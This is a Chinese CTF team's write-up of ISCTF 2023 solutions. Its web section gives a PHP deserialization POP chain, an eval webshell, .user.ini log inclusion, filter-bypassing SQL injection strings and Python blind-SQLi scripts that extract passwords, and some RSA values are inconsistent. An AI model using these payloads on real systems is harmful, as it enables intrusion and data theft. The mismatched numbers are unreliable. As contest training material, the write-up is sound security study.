write-up:
战队:来日方长
赛道:进阶赛道
队长:张伟文
队员:结局别在遗憾Zn.
WEB:
圣杯战争!!!(题解:结局别说遗憾Zn.)
解题思路:打开题目链接,代码如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo "为Saber选择了对的武器!<br>";
return $this->excalibuer->arrow;
}
}
class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
echo "蓄力!咖喱棒!!<br>";
return $functioin();
}
}
class saber{
public $weapon;
public function __invoke(){
echo "胜利!<br>";
include($this->weapon);
}
}
class summon{
public $Saber;
public $Rider;
public function __wakeup(){
echo "开始召唤从者!<br>";
echo $this->Saber;
}
}
if(isset($_GET['payload'])){
unserialize($_GET['payload']);
}
?>
从代码中可以看出这题再考PHP反序列的POP链的构造,并且它的这四个魔术方法的触发顺序为:
1. __wakeup() 对对象反序列化自动触发
2. __toString() 对象被当作字符串自动触发
3. __get($key) 访问prepare不存在的属性被调用
4. __invoke() saber被实列被作为函数调用
开始构造POP链:
<?php
highlight_file(__FILE__);
error_reporting(0);
class artifact{
public $excalibuer;
public $arrow;
public function __construct()
{
$this->excalibuer= new prepare();
}
}
class prepare{
public $release;
}
class saber{
public $weapon='php://filter/convert.base64-encode/resource=flag.php'; //指定过滤方式,访问flag.php
}
class summon{
public $Saber;
public $Rider;
}
$a = new summon();
$a->Saber =new artifact();
$a->Saber->excalibuer->release=new saber();
echo urldecode(serialize($a));
?>
运行一下即可得到反序列化POP链:
O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}
用HackBar传入get参数,即可在页面中得到:
对得到的字符串base64解密一下得到flag:
ISCTF{9b2fef42-d7ea-4ce0-8d17-388a15e46949}
where_is_the_flag(题解:结局别说遗憾Zn.)
题目提示:flag一分为3,散落在各处
解题思路:打开题目链接,看到是个标准的一句话木马,直接蚁剑链接
<?php
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。
highlight_file(__FILE__);
//标准一句话木马~
eval($_POST[1]);
?>
在flag.php文件中得到第一段flag: ISCTF{02d2
,继续查找后在flag2.php文件中找到第二段flag:92de-9f38-
,并且查看start.sh文件,得到的了flag一分为三的原理
在蚁剑中打开终端,输入指令printenv
查看其环境变量:
即可得到flag3为:4ae4-b97e-0276a3d6ec67}
所以最终flag为:
ISCTF{02d292de-9f38-4ae4-b97e-0276a3d6ec67}
绕进你的心里(题解:结局别说遗憾Zn.)
解题思路:打开题目链接,代码如下:
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
echo "md5绕过了!";
if(preg_match("/[0-9]/", $num)){
die('你干嘛?哎哟!');
}
elseif(intval($num)){
if(preg_match('/.+?ISCTF/is', $str)){
die("再想想!");
}
if(stripos($str, '2023ISCTF') === false){
die("就差一点点啦!");
}
echo $flag;
}
}
?>
MD5强比较“===”绕过,此时只能用数组绕过的方法 ,而preg_match() 函数无法处理数组导致被绕过所以上传 :
?hongmeng[]=1&shennong[]=2&zhurong[]=1
(preg_match('/.+?ISCTF/is', $str))利用正则回溯最大次数上限进行绕过,但后面要拼接上2023ISCTF才可绕过stripos函数
import requests
url="http://43.249.195.138:22437/?hongmeng[]=1&shennong[]=2&zhurong[]=1"
post={
'pan_gu':"a"*100000+"2023ISCTF"
}
r=requests.post(url,data=post)
print(r.text)
运行脚本得到flag:
ISCTF{be2854d5-7665-4a55-a0f4-9f45d361cc51}
easy_website(题解:结局别说遗憾Zn.)
题目描述:guoql在学校接了一个敏捷开发后台系统,这是他写的登录界面,你能找出漏洞并get flag吗?
解题思路:打开题目链接,先测试一下,在用户名中输入admin,万能密码1' or 1=1#,发现不行
我们在用户名中输入1',输出数据库查询失败,说明是需要SQL注入
注入万能密码1' or 1=1#,失败了,说明有东西被过滤了。经过多次测试回显确认,空格和or被过滤,使用双写和/**/绕过,使用order by测试字段数,测出字段数为1
1'/**/oorr/**/1=1#
1’/**/oorrder/**/by1#
开始爆库,回显语法有错,说明有关键字被过滤,经过测试union和select被过滤,绕过后回显user,与 admin不同,说明users就是库名
1'/**/ununionion/**/selselectect/**/database()/**/#
爆表,没有报错,回显表名users
爆出user,passwoed字段里面的内容
1'/**/ununionion/**/selselectect/**/group_concat(user, passwoorrd)/**/from/**/users.users#
得到flag:
ISCTF{862e2721-0e55-4272-ae38-ded83389d9e2}
ez_ini :(题解:结局别说遗憾Zn.)
题目描述:固定思维不可取啊~ ,打开靶机发现是文件上传的web类型题目
解题方法:先简单的上传一个一句话木马上去看一下,发现传.php文件,上传上去就是文件类型不行,传不上去,用bp来修改文件类型,上传的时候就会提示:就你想传我的马,这里出现的两种回显,文件类型不行说明在过滤时,把后缀名类型过滤,就你想传我的马,说明在过滤时对文件内容进行过滤,说明<?被过滤了,又根据题目提示ez_ini,了解到了.user.ini,看来传统的方法是不行的,要用日志包含的方法来进行
将文件名改成.user.ini 发送出去
这里我们看到右边出现 ./.user.ini 说明上传成功
发送出去后,里面就包含包含日志文件了 ,我们就可以在user-agent里面写入一句话木马
发送出去
就可以用蚁剑来连我们的一句话木马,注意连接时的地址
就可以得到我们的flag
webinclude(题解:结局别说遗憾Zn.)
解题思路:打开题目,看到提示与参数parameter,猜测要进行传参,使用dirsearch对网站扫描,扫出文件flag.php和index.bak
访问[http://43.249.195.138:21148//index.bak,浏览器会自动下载index.bak文件,用记事本打开如下:
根据代码写出脚本逆向出parameter,脚本如下:
function text_to_int_array(text){
let array=[];
for(let i=0;i<text.length;i++){
const charcode = text.charCodeAt(i)-97;
array.push(charcode)
}
return array;
}
function array_to_string(array){
let str=''
for(let i=0;i<array.length;i=i+2){
str+=String.fromCharCode(array[i]*26+array[i+1])
}
return str
}
hash = 'dxdydxdudxdtdxeadxekdxea';
array_to_string(text_to_int_array(array_to_string(text_to_int_array(hash))));
得到parameter为mihoyo
,知道parameter后,我们用php伪协议(php://filter)来输出flag.php的base64编码内容:
对得到的base64编码内容进行base64解码即可得到flag:
ISCTF{9f386005-94b2-4c43-a3b2-458d47bd91ab}
1z_Ssql(题解:结局别说遗憾Zn.)
题目描述:甲方爸爸刚买的Waf,你能Hack吗?
解题思路:打开链接是个登录界面,用万能万能密码尝试一下,回显语法错误,开始注入,输入联合查询注入的语句也都是回显语法错误,尝试空格、关键字等等的绕过也都是回显语法错误,所以这题不能用联合查询的方式注入,很可能是一个布尔盲注
尝试布尔盲注,进行数据库长度判断,输入判断语句1'and (length(database()))>10 --+
,回显还是语法有错
说明判断语句里面有东西被过滤了,经过尝试,使用空格绕过,单引号的绕过关键字双写绕过、大小写绕过,单引号的绕过等等方法也一直回显语法错误,所以我们直接去穷举字符
1'or if(ascii(substr((select database()),1,1))>1,1,0)--
(该语句的--后面记得输一个空格)
不管长度,直接爆破字符,直接用python脚本爆破,脚本如下:
import requests
import sys
url = 'http://43.249.195.138:22583/#'
result = ''
for i in range(1, 50):
head = 27
tail = 150
while head < tail:
mid = (head + tail) >> 1
payload = 'select database()'
username = 'admin'
password = f"1'or if(ascii(substr((select database()),{i},1))>{mid},1,0)-- "
data = {
"username": username,
"password": password
}
res = requests.post(url=url, data=data)
# print(data,res.text)
if 'smart' in res.text:
head = mid + 1
print(f'\r[*]trying: {result}[{head}-{tail}]', end='')
else:
tail = mid
print(f'\r[*]trying: {result}[{head}-{tail}]', end='')
result += chr(head)
print(f'\r[*]result: {result}')
if result[-1] == '}':
sys.exit()
运行脚本得到库名为bthcls,尝试爆库,语句如下:
select group_concat(table_name) from information_schema.tables where table_schema='bthcls'
回显错误,爆库语句里面的东西被过滤了,经过尝试,无法绕过,根据题目给的两个文件,我们一看就知道,都是些表名和字段名。我们换种思维,猜表名和字段名
select group_concat(字段名) from bthcls.表名
import requests
import sys
url = 'http://43.249.195.138:20024/#'
result = ''
for i in range(1, 50):
head = 27
tail = 150
while head < tail:
mid = (head + tail) >> 1
payload = 'select database()'
username = 'admin'
password = f"1'or if(ascii(substr((select group_concat(password) from bthcls.users),{i},1))>{mid},1,0)-- "
data = {
"username": username,
"password": password
}
res = requests.post(url=url, data=data)
# print(data,res.text)
if 'smart' in res.text:
head = mid + 1
print(f'\r[*]trying: {result}[{head}-{tail}]', end='')
else:
tail = mid
print(f'\r[*]trying: {result}[{head}-{tail}]', end='')
result += chr(head)
print(f'\r[*]result: {result}')
if result[-1] == '}':
sys.exit()
运行得到密码
最后登陆,得到flag:
CRYPTO:
七七的欧拉(题解:张伟文):
题目描述:题目附件下载下来发现发现一个output的txt文档和一个RSA加密过程的python代码,就知道这是要根据加密过程来进行RSA的解密。
七七的欧拉.py :
import gmpy2
import libnum
from crypto.Util.number import *
flag=b'ISCTF{*************}'
m=bytes_to_long(flag)
p=libnum.generate_prime(1024)
e=libnum.generate_prime(512)
c=pow(m,e,n)
output = open('output1.txt', 'w')
output.write('e=' + str(e) + '\n')
output.write('n=' + str(n) + '\n')
output.write('c=' + str(c) + '\n')
output.close()
解题方法:这段python代码是一个思路清晰的RSA加密,有不同的是它只生成了p的随机数,我们把输出n进行大整数分解:
分解成了n=p8,这里没有q,所以进行RSA解密时,计算欧拉函数就是:phi=p8-p^7,然后公钥e也知道,密文c也知道,就编写python脚本进行解密:
from Crypto.Util.number import *
e=8401285423075497989963572888601376313375827722858883767564499066473101615084214973041844878664837606157257039358849583049856161628241418012475432529735909
n=4321524416983780646994834778612486851863709339970595612409550086067211224407144019110798099401660010305645681548980160563216101786447875231976835115531375372678886339587480251211072894186558627897353793098608766868067029578667171419890150599640781594755080391489447462042167529203389236065727274166091741227068469987681083794139925327545810024038937132463518225611578727737940746784891867532498184642892826569777559107609493212332054559366409007685504768163376250281644004067745087899653778023414105973047620041288118404657934689253192043728590231618132716567084621670074256312939305265244486145758609971249077639085204680923108132415216543541472534580414274250979940330459551536830268428508217821060604260805109071534457808355664329902779603050878055690772430842865701249378096775899778255848773171108341331128673249899037133851535556515961699925809139476576825524135111237249709241579903807179252011010794867269715170739895392375920757559721516050680666658719990497863646989338960261844762127142439486275294670858114079687572243312184222126710967744971775585723045524467708387051034760208768956889939050498139189352842087278125173957182804116052402778416216669522309692266036094371308166663738284209615212016564171075874421472070422416318901926525719485991792111414333398004433143751908199358861514725313334333703539239414806773743941986164981642517673117412666430463318509571757766510835600758060976848374353352239044908034501477295696684294816091801944163877509558909040753907584672390823893991672246726026216973013330313971007514064831801564703364591696610900089228302936595848024616691878437618798864186634802647568239526771151323609650598156701595265876736712670677452013054393336294483452480213271032488201259990782289047132105989846972462094302132564809025802421057537091870932014884606863807260521123084423689494401900014232257381801590783735595575258160274248494498550583673688754220860142413631521279464318987425447302135444093663034598455694901199312497459228254746451233078954904159983269585883146959928222698672413648364391121696092287848931565798557217897678221379451042304811449415982434055522599829843482810025780349284547491767219221510351411192251236517341826619338084348136539121415210345488359563985046136632077665460793346345051213014836088333266911684271237227766588616771431226302155269893547077232087387411935345207081799500649921586279416751311277417949192360648342427657867424947189027886922112452681434778850977010752230391327878892161
c=1319666577538961333645698288755316431847498788803191213042970951363587036899021668814931340784440773619019635330248746606532233949080268712626456845590851812018539646705520729734738948568349756255640832936325965096602018372418260009779997764653043892043725224481361578258532294625476542003357969893609762981355267857532927948279737945466285738730414948695579002627741734690862181161919734547857550654813379550806374778412603233570494684223057004866601064851006909940259029023083838730497564657690493780040030061594915385886594845808342023634855913932575150487723897981518504381563064479784253539091893925934095008385592529031453149337783826491324308222762190756839839091742536583068791632135883271750510776330897598323339568926234205068941397524390446254057404779041850572848212437589629794980799894974937730065394307284096622814438575278571743516485062058882794531407454597341604166586040406867868323002258035737328450923576878935675998377134860357842547595516243737449809845708319003744144753130977649201725370898918939022097783844477196723482879094829249203949784703408369396219233552019108990900029123063369670129291960293576115301371071209198455299007327352602249399500334424934488528506773472420414119617828578424633182320749576697196936762283306228974126242434663703609495003656244194067493769815032134577138807799395279843708630774412341952691146906264694889245375545635688534662371202213660012977431598746482601668122679279419039288257069843297770840263002870206849857995148396439717143553611140228607531647245352254251824086797704561756363448681983654454393569932173970943157225527780067126895832370645456372127507057750232257828579628856504832975775855059816283684123444984393171125206440588627925736223222718784319209561804023835238526792966229582251575475514349566824846911411659740321154272534589694497411065971714157409318007179403833025337349924938487211920583780456897879801099476865645416182025930390267064170271613760577949655548949317295792361772032185463678410983568470647837758657058230086368185901572658482084202212103405161775243930901117532775865963215971025744893777631306256061896284125630451368067313753222195227231131526000755922331413457862253392530308284156400411897252674398583100198330007779643967156773216464341590817951828849769679134515304258819218015083183653130972243262400248230445031327719507314015062447355358100770763425336581258193908638241498461735819218673116282476452340137513156421147748432605954889277898079292196216
p=90043967260093945222624152587689121936371930974666442796337497007806436220933640104101224556701782897110707124711581073042785835680900647501045466519201150330902139448582877574558481499349246396434566916237734745291901204887326075328782341527220826176727297933741479223587035887696689567725839887008586221103
phi = pow(p,8)-pow(p,7)
d = pow(e,-1,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
最后运行就得到加密前的明文:flag
夹里夹气(题解:张伟文):
题目描述:题目提示是摩斯密码,把题目附件下载下来,里面有嘤嘤嘤和?组成:
嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤?嘤嘤嘤嘤嘤? 嘤嘤?嘤嘤嘤嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤?嘤嘤? 嘤嘤嘤嘤嘤嘤 嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤嘤?嘤嘤嘤 |
---|
**解题方法:根据题目提示,那就是简单的摩斯替换,经过多次替换,发现是将:嘤嘤?替换成 . **
**嘤嘤嘤 替换成 - **
.. ... -.-. - ..-. ----.-- .... ... -... -.. .... ..--.- ... ..-. .--- ..--.- .--- -.. -. ..-. .--- ..--.- -.. .--- -. ..-. .--- -.. -- -----.- |
---|
进行摩斯密码解密:
解密后的flag有%u是url编码,进行url解密得到完整的flag:
ISCTF{HSBDH_SFJ_JDNFJ_DJNFJDM}
easy-rsa(题解:张伟文):
题目描述:简单的RSA,打开靶机,连接靶机,得到p,q,e,c
p=162204804745066419922758823490941481275993810925223093858564274509398111289980783510014406630570131253537870704628722780257037987485197316965116063115394092366605435035431841147921272996348930666756253249904390602158637803955930821657094022184697528875737401708971717215855701558238696623849198259760492006467
q=167886461987096215099584753411946992506115903935778263262865030402397895311662437221092297160023961673912849507881735203323278388970003185858867642191232104257031263108675294961606026193291665867799075183543135290576418403080179127528710488062830634035830487676766125935346227229914663250112779451526545431717
e=65537
c=24112346382935684577802210172432858530078572496947082979812812717838934416320584898937321125904259874181611925182167933677012164208349522898138945933455396070750986087136510713961733533598855591613344098754814087400745062743109075386786400213238751365885600034118669276325930285877030852333881658612010058911370669947466844837837398227014134214932818657278025307110886750965140404191982815526807789856130559999920053941801426470093911112143707979559834349715330452884959887107440103329355560779854712733995713586150146291164076761589632880838885579668046184050155281948300236688587165271911287928076570512318214759163
解题方法:很简单的RSA加解密,写python脚本跑一下就可以了
from Crypto.Util.number import *
p=179231785785171247947276985153203341071695396274318256416344019446505287296711042403380650899622184956288310675608497090616320180892113037264917728673361467770171510613929968671303148032206459246189832730721985679179897590413087879698055461968029167571072913831618608932950150919448338293178113871490081777949
q=148189600666243975625767721095155351125394311061753864182753739345875256851484739242340462702451712563174613090883392909117183461254680508630761921849894015278706062450111620310069570699988321944520863531167381947164928205215051202473953880313994145370514443362175261088241947586530576262506287797860008689587
e=65537
c=24948025942823466494666736257529236186984086602410882304090326094413496771757283073556867520020027859019863339824487462573761722230979523446170490648473202553632971380741489654423174624873003116276668435852285567619873910871831754511033226135004460127267184783101515587946710333194303518656005335346976512799938267606167723067381197165278808891894788320731802001184379712165336766057777606860008578106783670959692531649546677971151669755239104705879939171888948303390454387396333889178910397794797593735725798072353939951031864072220418604636188680588484046042230830439116476426747227584500686212578840734571703736599
n = p*q
phi = (p-1)*(q-1)
d = pow(e,-1,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
运行之后就得到flag,这里是动态flag
rsa_d(题解:张伟文):
题目描述:打开靶机,在kali里面用nc 连接一下靶场
解题方法:知道p,q,e 简单的求d,用代码把d算出来在输进去就有flag了,这里是动态flag
from Crypto.Util.number import *
p=20758783
q=22442207
e=65537
n = p*q
phi = (p-1)*(q-1)
d = pow(e,-1,phi)
print(d)
REVERSE:
crackme(题解:张伟文):
题目描述:Re签到题,把题目附件下载下来,放进exeinfope里面,发现是一个64位的加了壳的exe文件,猜测把壳去了就有flag了
解题方法:用upx -d 来进行脱壳,发现脱壳失败
然后把它放进010_editor里面看一下,发现壳坏了,把壳修复一下就能脱壳
然后,upx -d 进行脱壳
放进IDA里面 F5 一下就可以得到flag了
flag : ISCTF{873c-298c-2948-23bh-291h-kt30}
EasyRe(题解:张伟文):
题目描述:一道简单的常规的逆向题,hint:正确flag字符串ISCTF打头,其余均为错解,还给了正确flag的MD5值
解题方法:还是一样把附件下载下来之后,放进exeinfope看有无有壳,是多少位的EXE程序,发现是64位的无壳的EXE,丢进IDA里面分析一下
_main(argc, argv, envp);
strcpy(v4, "]P_ISRF^PCY[I_YWERYC");
memset(v5, 0, sizeof(v5));
v6 = 0;
v7 = 0;
puts("please input your strings:");
gets(Str);
v10 = strlen(Str);
while ( Str[i] )
{
for ( i = 0; i < v10; ++i )
v8[i] = Str[i] ^ 0x11; //进行异或
}
for ( i = 0; i < v10; ++i )
{
if ( v8[i] == 66 || v8[i] == 88 ) //条件匹配
v8[i] = -101 - v8[i];
}
for ( i = v10 - 1; i >= 0; --i ) //这里进行逆序
v8[v10 - i - 1] = v8[i];
i = 0;
if ( v10 > 0 )
{
if ( v8[i] == v4[i] )
printf("yes!!!");
else
printf("no!!!");
}
return 0;
}
思路很清晰的一个加密过程,现在只要编写python脚本给他逆推回去就可以得到输入的flag
v4 = "]P_ISRF^PCY[I_YWERYC"
v4=v4[::-1]
flag=""
str=""
for i in (v4):
if 66 == 155-ord(i) :
i = chr(66)
str=str+i
elif 88 == 155-ord(i):
i= chr(88)
str=str+i
else:
str=str+i
for i in range(len(str)):
flag += chr(ord(str[i])^0x11)
print(flag)
运行就可以得到flag:
ISCTFSNXJSIAOWCBXNAL
再将它进行MD5加密与提示的MD5值比较一下,是一样的,说明这就是正确的flag
**flag : ISCTF{SNXJSIAOWCBXNAL} **
babyRe(题解:张伟文):
题目描述:将题目附件下载下来之后,里面有两个文件,一个EXE文件和一个output的txt文档,查看一下output文档里面的内容,发现是RSA里面的数值
p+q=
292884018782106151080211087047278002613718113661882871562870811030932129300110050822187903340426820507419488984883216665816506575312384940488196435920320779296487709207011656728480651848786849994095965852212548311864730225380390740637527033103610408592664948012814290769567441038868614508362013860087396409860
(p+1)*(q+1)=
21292789073160227295768319780997976991300923684414991432030077313041762314144710093780468352616448047534339208324518089727210764843655182515955359309813600286949887218916518346391288151954579692912105787780604137276300957046899460796651855983154616583709095921532639371311099659697834887064510351319531902433355833604752638757132129136704458119767279776712516825379722837005380965686817229771252693736534397063201880826010273930761767650438638395019411119979149337260776965247144705915951674697425506236801595477159432369862377378306461809669885764689526096087635635247658396780671976617716801660025870405374520076160
c=
5203005542361323780340103662023144468501161788183930759975924790394097999367062944602228590598053194005601497154183700604614648980958953643596732510635460233363517206803267054976506058495592964781868943617992245808463957957161100800155936109928340808755112091651619258385206684038063600864669934451439637410568700470057362554045334836098013308228518175901113235436257998397401389511926288739759268080251377782356779624616546966237213737535252748926042086203600860251557074440685879354169866206490962331203234019516485700964227924668452181975961352914304357731769081382406940750260817547299552705287482926593175925396
这里我们就可以猜测到,这题可能是RSA,然后缺失的数据在EXE文件里面
解题方法:将EXE文件放进IDA里面,看了一下里面并没有什么有用的信息,再看一眼EXE,发现这个EXE是有图标的,最后发现这是一个把.py文件打包成的EXE,所以我们要用pyinstxtractor来进行反编译,反编译后找到对应的与EXE同名的.pyc文件:
**将pyinstxtractor.py与babyre.EXE放在同一个文件夹下,打开终端在命令行输入:python pyinstxtractor.py babyRe.exe **
然后去babyRe.exe_extracted文件夹里面,找到与babyRe.EXE同名的.pyc文件
把这个babyRe.pyc文件放进pyc在线反编译网站进行反编译一下得到反编译代码也就是源码:
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.7
import libnum
from crypto.Util.number import *
flag = 'ISCTF{******************}'
flags = flag.encode()
e = 65537
p = libnum.generate_prime(1024)
q = libnum.generate_prime(1024)
n = p * q
m = bytes_to_long(flags)
c = pow(m, e, n)
output = open('output.txt', 'w')
output.write('p+q =' + str(p + q) + '\n')
output.write('(p+1)*(q+1)=' + str((p + 1) * (q + 1)) + '\n')
output.write('c=' + str(c) + '\n')
output.close()
看到这里,这个题的思路就很清晰,就是RSA的加密过程,公钥e也得到了,现在就是编写RSA解密脚本
给了p+q,(p+1)(q+1)通过这个可以求出n(n=p*q)和phi(phi=(p-1)(q-1))
n=(p+1)(q+1)-p-q-1,phi=(p+1)(q+1)-2*(p+q)
from Crypto.Util.number import *
p_plus_q =292884018782106151080211087047278002613718113661882871562870811030932129300110050822187903340426820507419488984883216665816506575312384940488196435920320779296487709207011656728480651848786849994095965852212548311864730225380390740637527033103610408592664948012814290769567441038868614508362013860087396409860
euler = 21292789073160227295768319780997976991300923684414991432030077313041762314144710093780468352616448047534339208324518089727210764843655182515955359309813600286949887218916518346391288151954579692912105787780604137276300957046899460796651855983154616583709095921532639371311099659697834887064510351319531902433355833604752638757132129136704458119767279776712516825379722837005380965686817229771252693736534397063201880826010273930761767650438638395019411119979149337260776965247144705915951674697425506236801595477159432369862377378306461809669885764689526096087635635247658396780671976617716801660025870405374520076160
e = 65537
c= 5203005542361323780340103662023144468501161788183930759975924790394097999367062944602228590598053194005601497154183700604614648980958953643596732510635460233363517206803267054976506058495592964781868943617992245808463957957161100800155936109928340808755112091651619258385206684038063600864669934451439637410568700470057362554045334836098013308228518175901113235436257998397401389511926288739759268080251377782356779624616546966237213737535252748926042086203600860251557074440685879354169866206490962331203234019516485700964227924668452181975961352914304357731769081382406940750260817547299552705287482926593175925396
n = euler - p_plus_q - 1
phi = euler - 2*p_plus_q
d = pow(e,-1,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
运行python代码就可以得到flag:ISCTF{kisl-iopa-qdnc-tbfs-ualv}
easy_z3(题解:张伟文)
题目描述:简单math求解,把附件下载下来发现是一个.py文件,打开后发现是一个py源代码:
print("Please input flag:")
flag = input()
if len(flag)!=42:
print("Check your length!")
exit()
l=[]
for i in range(6):
s=""
for j in flag[i*7:i*7+7]:
s+=hex(ord(j))[2:]
l.append(int(s,16))
if (
(593*l[5] + 997*l[0] + 811*l[1] + 258*l[2] + 829*l[3] + 532*l[4])== 0x54eb02012bed42c08 and \
(605*l[4] + 686*l[5] + 328*l[0] + 602*l[1] + 695*l[2] + 576*l[3])== 0x4f039a9f601affc3a and \
(373*l[3] + 512*l[4] + 449*l[5] + 756*l[0] + 448*l[1] + 580*l[2])== 0x442b62c4ad653e7d9 and \
(560*l[2] + 635*l[3] + 422*l[4] + 971*l[5] + 855*l[0] + 597*l[1])== 0x588aabb6a4cb26838 and \
(717*l[1] + 507*l[2] + 388*l[3] + 925*l[4] + 324*l[5] + 524*l[0])== 0x48f8e42ac70c9af91 and \
(312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5])== 0x4656c19578a6b1170):
print("Good job!")
else:
print("Wrong\nTry again!!!")
exit()
解题方法:这里的才看到的时候乍一看这些函数很多,很难解,但是仔细阅读一下发现他的逻辑很简单,将flag七个字符一份,共分为六份,每份转为十六进制字符串后将这些字符串放进列表里面转成一个十六进制数然后放进一个一元六次函数组里面,最后编写解密脚本:
from sympy import *
# 定义未知数的列表
l = symbols('l[0], l[1], l[2], l[3], l[4], l[5]')
# 定义并初始化方程组
eq1 = Eq(593*l[5] + 997*l[0] + 811*l[1] + 258*l[2] + 829*l[3] + 532*l[4], 0x54eb02012bed42c08)
eq2 = Eq(605*l[4] + 686*l[5] + 328*l[0] + 602*l[1] + 695*l[2] + 576*l[3], 0x4f039a9f601affc3a)
eq3 = Eq(373*l[3] + 512*l[4] + 449*l[5] + 756*l[0] + 448*l[1] + 580*l[2], 0x442b62c4ad653e7d9)
eq4 = Eq(560*l[2] + 635*l[3] + 422*l[4] + 971*l[5] + 855*l[0] + 597*l[1], 0x588aabb6a4cb26838)
eq5 = Eq(717*l[1] + 507*l[2] + 388*l[3] + 925*l[4] + 324*l[5] + 524*l[0], 0x48f8e42ac70c9af91)
eq6 = Eq(312*l[0] + 368*l[1] + 884*l[2] + 518*l[3] + 495*l[4] + 414*l[5], 0x4656c19578a6b1170)
# 用 solve 函数求解
sol = solve((eq1, eq2, eq3, eq4, eq5, eq6), (l[0], l[1], l[2], l[3], l[4], l[5]), dict=True)
# 输出解
print(sol)
# 取出对应值分别转化为2位的16进制数再转成字符
ss = ''
s = ''
for kay in sol[0]:
ss += hex(sol[0][kay])[2:]
print(ss)
for i in range(0,len(ss),2):
s += chr(int(ss[i:i+2],16))
print(s)
运行一下就得到了flag
mfx_re(题解:张伟文)
题目描述:附件下载下来发现是一个ELF文件,查看了一下它的ELF的文件信息,发现是一个无壳的64位ELF文件,放进IDA里面发现它的main函数没在,猜测应该是被加壳了
解题方法:把它放进010_editor里面,看到里面出现了MFX,根据经验来说,应该是UPX加壳的ELF文件,但是它把UPX的标识头改成了MFX,现在把它改成UPX的标识:它这里有三处要修改,开头有一处,结尾有两处:
用exeinfope.exe查一下壳,就会显UPX壳
用UPX脱一下壳,但注意的是这里要用upx-4.0以上的版本才可以脱壳,我用的upx-3.9.6就会出现脱壳失败,或者自己也可以手搓,手动脱壳:
放进IDA里面,就可以看到他的完整的函数了,以下是他的main函数:
v18 = __readfsqword(0x28u);
setbuf((FILE *)&dword_0, 0LL);
setbuf((FILE *)&dword_0, 0LL);
puts("Welcome To MFx_Reverse!");
puts("I have two questions. You need guess the flag from the first question.");
v7 = 1;
v8 = 2;
printf("a=%d, b=%d\n", 1LL, 2LL);
puts("The first question is a + b = ?");
printf("a + b = ");
v5 = 0;
scanf("%d", &v5);
if ( v5 == 3 )
puts("Good!");
else
puts("Wrong!");
puts("The second question is flag = ?");
printf("flag = ");
*(_QWORD *)s = 0LL;
v10 = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0;
scanf("%s", s);
strcpy(s2, "HRBSEz7`ca5`4`,6`54,3a11,833d,7c1858c35c`0|");
v17 = 0;
for ( i = 0; ; ++i )
{
v3 = i;
if ( v3 >= strlen(s) )
break;
--s[i];
}
strcmp(s, s2);
puts("Now you know your flag!");
return 0;
}
仔细阅读一下发现,这里是一个简单的算术加减,将输入的字符串的unicode的值减一,后又转为字符串s2,现在反过来,将s2的值加上一,就可以得到我们输入的flag:
flag:ISCTF{8adb6a5a-7a65-4b22-944e-8d2969d46da1}
PWN:
test_nc(题解:张伟文)
题目描述:小蓝鲨说:netcat 一看就是一个简单的nc
解题方法:在kali里面nc一下就得到flag
nc_shell (题解:张伟文)
题目描述:Linux有哪些命令呢?链接靶机发现是简单的Linux命令
解题方法:放进kali里面nc一下就可以了
MISC:
签到题(题解:张伟文):
解题方法:关注公众号,回复关键词:小蓝鲨,我想打ctf,就可以得到flag
你说爱我?尊嘟假嘟 (题解:张伟文):
题目描述:把题目附件下载下来之,没有后缀名,把.zip的后缀加上后,解压得到一个.doc的文档,打开里面都是这样的文字,有三种类型,根据经验感觉是Ook的编码方式
你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 你说爱我
你说爱我 你说爱我 你说爱我 你说爱我 你说爱我 尊嘟 假嘟 尊嘟 尊嘟 你说爱我 假嘟 你说爱我 你说爱我 你说爱我
.........
